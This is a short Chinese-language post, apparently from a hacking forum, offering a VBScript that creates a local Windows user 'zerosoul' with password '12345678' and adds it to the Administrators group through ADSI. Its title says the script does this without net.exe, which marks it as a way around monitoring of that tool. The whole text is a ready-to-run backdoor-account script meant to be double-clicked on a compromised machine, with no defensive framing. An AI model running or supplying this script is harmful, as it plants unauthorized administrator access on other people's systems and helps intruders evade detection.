无net.exe添加账户的VBS

//下面内容保存成.VBS文件直接双击运行即可
//user:zerosoul
//pass:12345678

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","zerosoul")
od.SetPassword "12345678"
od.SetInfo
Set of=GetObject(os&"/zerosoul",user)
oe.add os&"/zerosoul"